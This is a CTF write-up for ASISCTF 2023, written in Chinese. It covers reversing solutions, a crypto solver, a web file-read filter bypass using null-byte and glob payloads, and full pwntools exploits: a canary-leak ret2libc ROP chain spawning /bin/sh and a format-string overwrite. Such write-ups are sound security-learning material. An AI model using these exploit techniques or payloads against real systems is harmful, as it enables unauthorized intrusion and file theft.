ASISCTF 2023

UKFC 2023 ASISCTF Writeup

RE

Grid

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
s = [0x01, 0x76, 0x02, 0x2C, 0x03, 0x3B, 0x04, 0x45, 0x05, 0xBD,
  0x06, 0xF2, 0x07, 0x92, 0x08, 0x5D, 0x09, 0x91, 0x0A, 0x2D,
  0x0B, 0x2E, 0x0C, 0x7F, 0x0D, 0xE9, 0x0E, 0x3C, 0x0F, 0x78,
  0x10, 0x9F, 0x11, 0x8A, 0x12, 0xA5, 0x13, 0x71, 0x14, 0x94,
  0x15, 0x3F, 0x16, 0xA7, 0x17, 0xDB, 0x18, 0xE8, 0x19, 0xF6,
  0x1A, 0xA4, 0x1B, 0x99, 0x1C, 0xE6, 0x1D, 0x22, 0x1E, 0x40,
  0x1F, 0xFF, 0x20, 0xDC, 0x21, 0xEE, 0x22, 0xEA, 0x23, 0x24,
  0x24, 0x6D, 0x25, 0x58, 0x26, 0x02, 0x27, 0xA2, 0x28, 0xDD,
  0x29, 0x86, 0x2A, 0x9E, 0x2B, 0xA1, 0x2C, 0xE1, 0x2D, 0x19,
  0x2E, 0xE0, 0x2F, 0x64, 0x30, 0x6A, 0x31, 0xB3, 0x32, 0x5E,
  0x33, 0x2B, 0x34, 0xBB, 0x35, 0x38, 0x36, 0x4F, 0x37, 0x30,
  0x38, 0x53, 0x39, 0x44, 0x3A, 0x75, 0x3B, 0x65, 0x3C, 0xF9,
  0x3D, 0x4B, 0x3E, 0xC1, 0x3F, 0x23, 0x40, 0xB2, 0x41, 0xBE,
  0x42, 0xD5, 0x43, 0x05, 0x44, 0x80, 0x45, 0x61, 0x46, 0xFE,
  0x47, 0x60, 0x48, 0xE3, 0x49, 0x32, 0x4A, 0x85, 0x4B, 0xF4,
  0x4C, 0xCF, 0x4D, 0x5A, 0x4E, 0x3A, 0x4F, 0x43, 0x50, 0xD6,
  0x51, 0x6F, 0x52, 0x54, 0x53, 0xB9, 0x54, 0xCC, 0x55, 0xF5,
  0x56, 0xB5, 0x57, 0x59, 0x58, 0x16, 0x59, 0xE7, 0x5A, 0xA9,
  0x5B, 0xAE, 0x5C, 0xF1, 0x5D, 0x08, 0x5E, 0x3E, 0x5F, 0x7D,
  0x60, 0xE4, 0x61, 0xDE, 0x62, 0xC6, 0x63, 0x1C, 0x64, 0xEB,
  0x65, 0xB6, 0x66, 0x97, 0x67, 0x15, 0x68, 0x51, 0x69, 0x7C,
  0x6A, 0xAD, 0x6B, 0xCD, 0x6C, 0x27, 0x6D, 0x0A, 0x6E, 0x35,
  0x6F, 0x5F, 0x70, 0xD4, 0x71, 0x13, 0x72, 0xA0, 0x73, 0x14,
  0x74, 0x67, 0x75, 0x7A, 0x76, 0x8C, 0x77, 0x4A, 0x78, 0x72,
  0x79, 0x2F, 0x7A, 0xDA, 0x7B, 0xEF, 0x7C, 0x49, 0x7D, 0x0E,
  0x7E, 0xD3, 0x7F, 0xFA, 0x80, 0x3D, 0x81, 0xC0, 0x82, 0x33,
  0x83, 0x66, 0x84, 0xAA, 0x85, 0xCE, 0x86, 0xFC, 0x87, 0xB0,
  0x88, 0x62, 0x89, 0x93, 0x8A, 0x41, 0x8B, 0xD7, 0x8C, 0x48,
  0x8D, 0xBF, 0x8E, 0xCA, 0x8F, 0xC8, 0x90, 0x03, 0x91, 0x7E,
  0x92, 0x0F, 0x93, 0x9B, 0x94, 0xCB, 0x95, 0x56, 0x96, 0xD8,
  0x97, 0x79, 0x98, 0x52, 0x99, 0xA3, 0x9A, 0xAB, 0x9B, 0x68,
  0x9C, 0x42, 0x9D, 0xED, 0x9E, 0x81, 0x9F, 0x84, 0xA0, 0x9C,
  0xA1, 0x10, 0xA2, 0x5B, 0xA3, 0x0B, 0xA4, 0x1A, 0xA5, 0x70,
  0xA6, 0xF8, 0xA7, 0x63, 0xA8, 0xA6, 0xA9, 0xAF, 0xAA, 0x20,
  0xAB, 0x98, 0xAC, 0x01, 0xAD, 0x34, 0xAE, 0x29, 0xAF, 0xE2,
  0xB0, 0xFB, 0xB1, 0x17, 0xB2, 0x9A, 0xB3, 0xAC, 0xB4, 0x04,
  0xB5, 0x5C, 0xB6, 0x36, 0xB7, 0xBA, 0xB8, 0xD9, 0xB9, 0xB1,
  0xBA, 0xF7, 0xBB, 0xC3, 0xBC, 0x50, 0xBD, 0xD1, 0xBE, 0xBC,
  0xBF, 0xE5, 0xC0, 0x90, 0xC1, 0x25, 0xC2, 0x0C, 0xC3, 0x88,
  0xC4, 0xB8, 0xC5, 0x12, 0xC6, 0xD2, 0xC7, 0x1B, 0xC8, 0x47,
  0xC9, 0x4D, 0xCA, 0xC4, 0xCB, 0x07, 0xCC, 0x1E, 0xCD, 0x87,
  0xCE, 0x7B, 0xCF, 0x57, 0xD0, 0xF0, 0xD1, 0xFD, 0xD2, 0x55,
  0xD3, 0x1D, 0xD4, 0x69, 0xD5, 0xDF, 0xD6, 0x6C, 0xD7, 0x2A,
  0xD8, 0xEC, 0xD9, 0x6E, 0xDA, 0xC7, 0xDB, 0x28, 0xDC, 0x8E,
  0xDD, 0xC2, 0xDE, 0x82, 0xDF, 0x9D, 0xE0, 0x4E, 0xE1, 0x18,
  0xE2, 0x73, 0xE3, 0x95, 0xE4, 0xC9, 0xE5, 0x0D, 0xE6, 0x89,
  0xE7, 0x8D, 0xE8, 0x6B, 0xE9, 0x8B, 0xEA, 0x46, 0xEB, 0x11,
  0xEC, 0x21, 0xED, 0x74, 0xEE, 0x4C, 0xEF, 0x09, 0xF0, 0xF3,
  0xF1, 0xC5, 0xF2, 0xD0, 0xF3, 0x83, 0xF4, 0xB7, 0xF5, 0x1F,
  0xF6, 0x37, 0xF7, 0xB4, 0xF8, 0x26, 0xF9, 0x06, 0xFA, 0x31,
  0xFB, 0x96, 0xFC, 0x39, 0xFD, 0xA8, 0xFE, 0x77, 0xFF, 0x8F]

t = [0xBE, 0xB9,0x32,0xB9,0xEF,0x30,0xE3,0x7C,0x38,0x7D,0xEE,0xA9,0x7D,0xBB,0x35,0x6A,0x67,0xE3,0x2B,0x54,0x7D,0x61,0xDE,0x38,0xE7,0x7D,0x59,0xDE,0x54,0x0A,0xF5,0xD4,0x7D,0x1C,0xE3,0xBE,0xCF,0x27,0xB6,0x3A,0x44,0x61,0xEE,0xEE,0xe]
print()
for i in range(len(t)):
  for j in range(1,len(s),2):
    if s[j] == t[i]:
      print(chr(s[j-1]),end='')
      break

BUZZ!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
s = []
## 打开文件
with open('flag.enc', 'r') as file:
    ## 逐行读取文件内容
    for line in file.readlines():
        ## 处理每一行数据
        cnt = 0
        for i in line:
          if i == 'B':
            cnt += 1
        s.append(cnt)
for i in range(0,len(s)-7,7):
    s[i] = (s[i] ^ 0x63) & 0xff
    s[i+1] = (s[i+1] ^ 0x30) & 0xff
    s[i+2] >>= 4
    s[i+3] >>= 2
    s[i+4] /= 55
    s[i+4] = int(s[i+4])
    s[i+5] -= ord('a')
    s[i+6] -= ord(',')
for i in s:
    print(chr(int(i)),end='')
## ASIS{dIfF1culT_t4sk_0f_uNd3rStAnd!n9_tH3_InNer_wOrKinG5_oF_b1naRy!}

Scrat

  • 看动调水平了,从函数到整体逻辑
  • 爆破伪随机 key
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
x = 0x3a ^ ord('A')
y = 0x39 ^ ord('S')
z = 0x24 ^ ord('I')
c = 0x65 ^ ord('S')

for k in range(0x1,0x4141A15B):
    temp1 = (k * 166013 + 4148159)
    if int((temp1 // 65536) % 256) == x:
        temp1 = (temp1 * 166013 + 4148159)
        if int((temp1 // 65536) % 256) == y:
            temp1 = (temp1 * 166013 + 4148159)
            if int((temp1 // 65536) % 256) == z:
                temp1 = (temp1 * 166013 + 4148159)
                if int((temp1 // 65536) % 256) == c:
                  print('k=',k)
    k+=1
  • 解密
1
2
3
4
5
6
7
key = 13531507
w = [0x3a,0x39,0x24,0x65,0xff,0xef,0xc6,0xb4,0x85,0x19,0x3c,0x32,0xce,0xfd,0xb9,0x9d,0xf9,0x5c,0xb6,0xd6,0x56,0x64,0x78,0xa1,0x78,0x73,0xb9,0x2b,0x2d,0xf5,0xde,0xa3,0x1e,0x5c,0x0e,0xdb,0xb1,0xcc,0x9b]
for i in range(len(w)):
    key *= 166013
    key += 4148159
    temp = (key // 65536) % 256
    print(chr(w[i] ^ temp),end='')

Crypto

Renamiara

  • 欧拉定理
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from Crypto.Util.number import getPrime
from pwn import *
io = remote("45.153.241.194", "31337")
io.sendline(b'y')
for i in range(40):
  io.recvuntil(b'p =')
  p = io.recvline()
  p = int(p)
  x = 3
  y = p - x
  g = x*y%p
  if (x * y % p) == (pow(g, x+y, p)):
    io.sendline(str(g).encode())
    key = str(x) + ',' + str(y)
    io.sendline(key.encode())
io.interactive()
## ASIS{_An07H3r_F1XeD_PoInt5_f0r_DLP!!}

Web

hello

  1. 绕过 “next” 和 “file” 关键字过滤
1
2
3
4
5
6
7
8
   

?x=f{il}e:///n{ex}t.txt
?x=f[i-j]le:///n[e-g]xt.txt
?x=f%faile:///n%faext.txt
均可

参考 [https://www.ngui.cc/el/3679770.html?action=onClick](https://www.ngui.cc/el/3679770.html?action=onClick)
  1. 访问之后base64解码,下载源码再解码
1
/39c8e9953fe8ea40ff1c59876e0e2f28/read/?file=/app/index.js
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

const fs = require('node:fs');
const path = require('path')

/*
I wonder what is inside /next.txt
*/

const secret = '39c8e9953fe8ea40ff1c59876e0e2f28'
const server = Bun.serve({
port: 8000,
fetch(req) {
let url = new URL(req.url);
let pname = url.pathname;
if(pname.startsWith(`/${secret}`)){
if(pname.startsWith(`/${secret}/read`)){
try{
let fpath = url.searchParams.get('file');
if(path.basename(fpath).indexOf('next') == -1){
return new Response(fs.readFileSync(fpath).toString('base64'));
} else {
return new Response('no way');
}
} catch(e){ }
return new Response("Couldn't read your file :(");
}
return new Response(`did you know i can read files?? amazing right,,, maybe try /${secret}/read/?file=/proc/self/cmdline`);
}
return
}
});
  1. 想办法绕过 “next” 关键字过滤,base64得flag
1
2
path.basename(): 它返回带有路径的文件名部分的字符串
例如 /app/index.js 只返回index.js
1
2

?file=/next.txt%00/app/index.js

pwn

hipwn

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io=remote('45.153.243.57',1337)
#io=process('./chall')
libc=ELF('./libc2.35.so')

io.recvuntil(b'much???\n')
io.sendline(b'256')
io.recvuntil(b'content\n')
io.sendline(b'a'*0x48)
io.recvline()

canary=u64(io.recv(7).rjust(8,b'\x00'))
print('canary:',hex(canary))
io.recvuntil(b'again?')
io.sendline(b'1337')

io.recvuntil(b'much???\n')
io.sendline(b'1024')
io.recvuntil(b'content\n')
padding=0xf8
io.send(b'a'*padding)
io.recv(padding)

libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x29e40
print(hex(libc_base))

one=[0x50a37,0xebcf1,0xebcf5,0xebcf8,0xebd52,0xebdaf,0xebdb3]
puts=libc_base+libc.sym['puts']
system=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b'/bin/sh\x00'))

#gdb.attach(io)
io.recvuntil(b'again?\n')
io.sendline(b'1337')
io.recvuntil(b'much???')
io.sendline(b'256')
ret=0x29cd6+libc_base
pop_rdi_ret=0x2a3e5+libc_base
payload=flat(b'a'*0x48,canary,0xdeadbeef,ret,pop_rdi_ret,binsh,system)
io.sendline(payload)
io.recvuntil(b'again?\n')
io.sendline(b'1')

io.interactive()

利用多次输入,可以连带出 elfbase,libcbase 以及 canary 等内容。由此我们可以利用 systembinsh 或者 onegadget 等方法直接进行 rop

text-editor(未做出)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
context(log_level='debug',arch='amd64',os='linux')

#io=remote('45.153.243.57',13337)
io=process('./editor')
menu=b'> '

def edit(content):
    io.recvuntil(menu)
    io.sendline(b'1')
    io.recvuntil(b'text: ')
    io.send(content)
    io.recvuntil(b'Done!')

def save():
    io.recvuntil(menu)
    io.sendline(b'2')
    io.recvuntil(b'text!\n')

def dump():
    io.recvuntil(menu)
    io.sendline(b'4')

payload=b'a'*0x100+b'\xa0\xaf'
edit(payload)
dump()
puts=u64(io.recv(6).ljust(8,b'\x00'))
print('puts:',hex(puts))
libc_base=puts-0x080ed0
print('libc_base:',hex(libc_base))

environ=0x221200+libc_base

payload=b'a'*0x100+b'\x08\xb0'
edit(payload)
dump()
elf_base=u64(io.recv(6).ljust(8,b'\x00'))-0x4008
print('elf_base:',hex(elf_base))

payload=b'a'*0x100+p64(environ)
edit(payload)
dump()
stack=u64(io.recv(6).ljust(8,b'\x00'))-0x120
print('stack:',hex(stack))

one=[0x50a37,0xebcf1,0xebcf5,0xebcf8,0xebd52,0xebdaf,0xebdb3]

target=one[0]+libc_base
gdb.attach(io)

payload=p64(stack)
edit(payload)
save()

payload=b'%'+str(target%0x10000).encode('utf-8')+b'c%11$hn'
payload=payload.ljust(0x100,b'\x00')
payload+=p64(elf_base+0x4020)
edit(payload)
dump()

payload=p64(stack+2)
edit(payload)
save()

payload=b'%'+str(target%0x100000000/0x1000).encode('utf-8')+b'c%11$hn'
payload=payload.ljust(0x100,b'\x00')
edit(payload)
dump()

io.sendline(b'3')

io.interactive()

text 可以溢出最后覆盖到 printf 的位置(printf 参数是一个指针),也就是说我们可以利用低两位爆破来尝试泄露出 libc(got 表)以及 elf(got 表下面一位)。同时,由于 libc 泄露可以泄露出 env 值得到栈地址,计算偏移之后算到返回地址,利用格式化字符串漏洞修改即可。

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计